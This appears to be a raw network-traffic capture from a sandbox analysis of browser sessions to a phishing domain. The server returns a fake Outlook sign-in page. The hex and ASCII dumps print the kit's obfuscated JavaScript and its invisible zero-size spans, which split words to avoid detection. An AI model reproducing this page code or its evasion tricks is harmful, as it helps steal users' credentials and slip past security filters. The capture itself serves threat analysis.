2024-04-24 13:44:34 UTC	881	IN	Data Raw: 62 28 30 78 31 33 34 29 5d 5b 5f 30 78 32 35 38 65 31 62 28 30 78 31 35 39 29 5d 2c 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 33 31 39 33 33 2c 5f 30 78 31 36 32 34 34 63 29 7b 76 61 72 20 5f 30 78 32 36 38 33 34 38 3d 5f 30 78 32 35 38 65 31 62 3b 5f 30 78 32 62 65 64 39 37 2b 3d 27 27 2b 5f 30 78 31 36 32 34 34 63 5b 30 78 30 5d 2b 5f 30 78 32 36 38 33 34 38 28 30 78 31 34 31 29 3b 7d 29 3b 7d 65 6c 73 65 7b 69 66 28 5f 30 78 33 35 64 31 35 32 5b 5f 30 78 32 35 38 65 31 62 28 30 78 31 36 34 29 5d 3d 3d 30 78 31 61 33 29 6c 6f 63 61 74 69 6f 6e 5b 5f 30 78 32 35 38 65 31 62 28 30 78 31 35 31 29 5d 28 29 3b 65 6c 73 65 7b 7d 7d 7d 2c 27 63 6f 6d 70 6c 65 74 65 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 35 64 63 37 34 29 7b 76 61 72 20 5f 30 78 31 65 38 63 Data Ascii: b(0x134)][_0x258e1b(0x159)],function(_0x131933,_0x16244c){var _0x268348=_0x258e1b;_0x2bed97+=''+_0x16244c[0x0]+_0x268348(0x141);});}else{if(_0x35d152[_0x258e1b(0x164)]==0x1a3)location[_0x258e1b(0x151)]();else{}}},'complete':function(_0x25dc74){var _0x1e8c
2024-04-24 13:44:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.17	49807	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:44:35 UTC	1085	OUT	GET /1 HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:44:35 UTC	732	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:44:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d4D1RkbT1e2RNun7x11QlyMKpzpEl29IlqIBk043TjEOLeKW1zag8SHqoDdgHcan6hDSI%2FYTPiS2CBkNqIOnyzDbdpr5sI3krmfLQ24rvDNWxKwjlQhtEFM7axa0jg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87968765e89169c4-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:44:35 UTC	637	IN	Data Raw: 37 34 65 30 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 38 61 62 62 37 62 66 64 39 37 30 62 34 66 34 33 31 30 38 36 32 34 63 62 63 32 63 36 34 62 35 30 36 36 32 39 30 63 63 33 62 37 38 62 36 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 53 69 67 6e 20 69 6e 20 74 6f 20 4f 75 74 6c 6f 6f 6b 20 20 20 20 20 20 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 Data Ascii: 74e0 <html dir="ltr" class="8abb7bfd970b4f43108624cbc2c64b5066290cc3b78b6" lang="en"> <head> <title> Sign in to Outlook </title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta
2024-04-24 13:44:35 UTC	1369	IN	Data Raw: 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 20 20 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 63 62 20 38 61 62 62 37 62 66 64 39 37 30 62 34 66 34 33 31 30 38 36 32 34 63 62 63 32 63 36 34 62 35 30 36 36 32 39 30 63 63 33 62 37 38 62 65 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 63 6b 67 72 6f 75 6e 64 20 38 61 62 62 37 62 66 64 39 37 30 62 34 66 34 33 31 30 38 36 32 34 63 62 63 32 63 36 34 62 35 30 36 36 32 39 30 63 63 33 62 37 38 62 66 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f Data Ascii: ="stylesheet"> </head> <body class="cb 8abb7bfd970b4f43108624cbc2c64b5066290cc3b78be" style="display: block;"> <div> <div> <div class="background 8abb7bfd970b4f43108624cbc2c64b5066290cc3b78bf" role="presentatio
2024-04-24 13:44:35 UTC	1369	IN	Data Raw: 36 32 39 30 63 63 33 62 37 38 64 36 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 75 74 65 72 20 38 61 62 62 37 62 66 64 39 37 30 62 34 66 34 33 31 30 38 36 32 34 63 62 63 32 63 36 34 62 35 30 36 36 32 39 30 63 63 33 62 37 38 64 37 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 69 64 64 6c 65 20 38 61 62 62 37 62 66 64 39 37 30 62 34 66 34 33 31 30 38 36 32 34 63 62 63 32 63 36 34 62 35 30 36 36 32 39 30 63 63 33 62 37 38 64 38 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 6c 6f 67 5f 66 6f 72 6d 22 20 63 6c 61 73 73 3d 22 69 6e Data Ascii: 6290cc3b78d6" autocomplete="off"> <div class="outer 8abb7bfd970b4f43108624cbc2c64b5066290cc3b78d7"> <div class="middle 8abb7bfd970b4f43108624cbc2c64b5066290cc3b78d8"> <div id="log_form" class="in
2024-04-24 13:44:35 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 20 74 65 78 74 2d 74 69 74 6c 65 20 38 61 62 62 37 62 66 64 39 37 30 62 34 66 34 33 31 30 38 36 32 34 63 62 63 32 63 36 34 62 35 30 36 36 32 39 30 63 63 33 62 37 38 65 32 22 20 69 64 3d 22 6c 6f 67 69 6e 48 65 61 64 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 68 65 61 64 69 6e 67 22 20 61 72 69 61 2d 6c 65 76 65 6c 3d 22 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 53 3c 73 70 Data Ascii: <div class="row text-title 8abb7bfd970b4f43108624cbc2c64b5066290cc3b78e2" id="loginHeader"> <div role="heading" aria-level="1"> S<sp
2024-04-24 13:44:35 UTC	1369	IN	Data Raw: 69 64 3d 22 69 64 41 5f 50 57 44 5f 53 69 67 6e 55 70 22 20 68 72 65 66 3d 22 23 22 3e 67 65 74 20 61 20 6e 65 77 20 4d 69 63 72 6f 73 6f 66 74 20 61 63 63 6f 75 6e 74 3c 2f 61 3e 2e 3c 2f 64 69 76 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 20 38 61 62 62 37 62 66 64 39 37 30 62 34 66 34 33 31 30 38 36 32 34 63 62 63 32 63 36 34 62 35 30 36 36 32 39 30 63 63 33 62 37 38 65 36 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 61 6c 65 72 74 22 20 61 72 69 61 2d 6c 69 76 65 Data Ascii: id="idA_PWD_SignUp" href="#">get a new Microsoft account</a>.</div> --> <div class="row 8abb7bfd970b4f43108624cbc2c64b5066290cc3b78e6"> <div role="alert" aria-live
2024-04-24 13:44:35 UTC	1369	IN	Data Raw: 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 31 3c 2f 73 70 61 6e 3e 76 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 31 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 Data Ascii: e; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">1</span>v<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">1</span>a<span style="display: inli
2024-04-24 13:44:35 UTC	1369	IN	Data Raw: 3b 22 3e 31 3c 2f 73 70 61 6e 3e 6c 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 31 3c 2f 73 70 61 6e 3e 20 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 Data Ascii: ;">1</span>l<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">1</span> <span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02p
2024-04-24 13:44:35 UTC	1369	IN	Data Raw: 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 31 3c 2f 73 70 61 6e 3e 70 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 31 3c 2f 73 70 61 6e 3e 68 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 Data Ascii: ; max-height: 0.03px; font-size: 0.02px;">1</span>p<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">1</span>h<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01p
2024-04-24 13:44:35 UTC	1369	IN	Data Raw: 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 31 3c 2f 73 70 61 6e 3e 72 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 31 3c 2f 73 70 61 6e 3e 2c 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 Data Ascii: gba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">1</span>r<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">1</span>,<span style="display: inline; color:
2024-04-24 13:44:35 UTC	1369	IN	Data Raw: 65 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 31 3c 2f 73 70 61 6e 3e 20 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 31 3c 2f 73 70 61 6e Data Ascii: e<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">1</span> <span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">1</span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.17	49809	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:44:36 UTC	1197	OUT	GET /APP-8abb7bfd970b4f43108624cbc2c64b5066290cc3b78bc/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78bd HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:44:36 UTC	737	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:44:36 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Wed, 01 May 2024 13:44:36 GMT last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gKwz8Zhqo0KNzZDjg2Ksq91YP%2BFqsXbrm5beD8SAo%2FJ88tbp6mIRDUvIXlJMRI4pYDB0%2BkGPbId0L0l37Fc1NLF%2BWYSEsrZllBhFB7N05cQlNFvKgQhJTAjJ601s6Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8796876c4b8a2ea3-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:44:36 UTC	632	IN	Data Raw: 37 63 64 30 0d 0a 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 7d 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 64 65 74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 68 67 72 6f 75 70 2c 6d 61 69 6e 2c 6d 65 6e 75 2c 6e 61 76 2c 73 65 63 74 69 6f 6e 2c 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 61 75 64 69 6f 2c 63 61 6e 76 61 73 2c 70 72 6f 67 72 65 73 73 2c 76 69 64 65 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f Data Ascii: 7cd0html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-blo
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 61 74 69 76 65 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 7d 73 75 70 7b 74 6f 70 3a 2d 30 2e 35 65 6d 7d 73 75 62 7b 62 6f 74 74 6f 6d 3a 2d 30 2e 32 35 65 6d 7d 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 73 76 67 3a 6e 6f 74 28 3a 72 6f 6f 74 29 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 66 69 67 75 72 65 7b 6d 61 72 67 69 6e 3a 31 65 6d 20 34 30 70 78 7d 68 72 7b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 68 65 69 67 68 74 3a 30 7d 70 72 65 7b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 7d 63 6f 64 65 2c 6b 62 64 2c 70 72 65 2c 73 61 6d 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 6d 6f 6e 6f 73 70 61 63 65 2c 6d 6f 6e Data Ascii: ative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,mon
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2a 3a 62 65 66 6f 72 65 2c 2a 3a 61 66 74 65 72 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 69 6e 70 75 74 2c 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 61 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 74 68 69 6e 20 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 2d 6f 66 66 73 Data Ascii: order-box;box-sizing:border-box}:before,:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input,button,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a:focus{outline:thin dotted;outline-offs
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 6e 6f 6e 65 7d 61 3a 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 30 30 36 37 62 38 7d 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 30 30 36 37 62 38 7d 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 36 36 36 7d 61 3a 66 6f 63 75 73 7b 63 6f 6c 6f 72 3a 23 30 30 36 37 62 38 7d 61 3a 61 63 74 69 76 65 7b 63 6f 6c 6f 72 3a 23 39 39 39 7d 2e 74 65 78 74 2d 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 74 65 78 74 2d 6a 75 73 74 69 66 79 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6a 75 73 74 69 66 79 7d 2e 74 65 78 74 2d 6e 6f 77 72 61 70 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 2e 74 65 78 74 2d 6c 6f 77 65 72 63 61 73 65 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6c 6f 77 65 72 63 61 73 65 7d 2e 74 65 78 74 2d 75 Data Ascii: none}a:link{color:#0067b8}a:visited{color:#0067b8}a:hover{color:#666}a:focus{color:#0067b8}a:active{color:#999}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-u
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 6d 61 78 2d 68 65 69 67 68 74 3a 38 34 2e 35 34 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 35 2e 32 38 33 39 35 72 65 6d 7d 2e 74 65 78 74 2d 68 65 61 64 6c 69 6e 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 32 7b 6d 61 78 2d 68 65 69 67 68 74 3a 31 36 34 2e 35 34 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 2e 32 38 33 39 35 72 65 6d 7d 2e 74 65 78 74 2d 68 65 61 64 6c 69 6e 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 7b 6d 61 78 2d 68 65 69 67 68 74 3a 32 34 34 2e 35 34 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 35 2e 32 38 33 39 35 72 65 6d 7d 2e 74 65 78 74 2d 68 65 61 64 6c 69 6e 65 2e 74 65 78 74 2d 6d 61 Data Ascii: e-space:nowrap;text-overflow:ellipsis;max-height:84.5432px;max-height:5.28395rem}.text-headline.text-maxlines-2{max-height:164.5432px;max-height:10.28395rem}.text-headline.text-maxlines-3{max-height:244.5432px;max-height:15.28395rem}.text-headline.text-ma
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 65 73 2d 34 2c 68 32 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 34 7b 6d 61 78 2d 68 65 69 67 68 74 3a 31 36 36 2e 33 36 32 34 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 2e 33 39 37 36 35 72 65 6d 7d 2e 74 65 78 74 2d 74 69 74 6c 65 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 38 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 37 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 2e 33 36 33 32 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 2e 33 36 33 32 70 78 7d 2e 74 65 78 74 2d 74 69 74 6c 65 2e 74 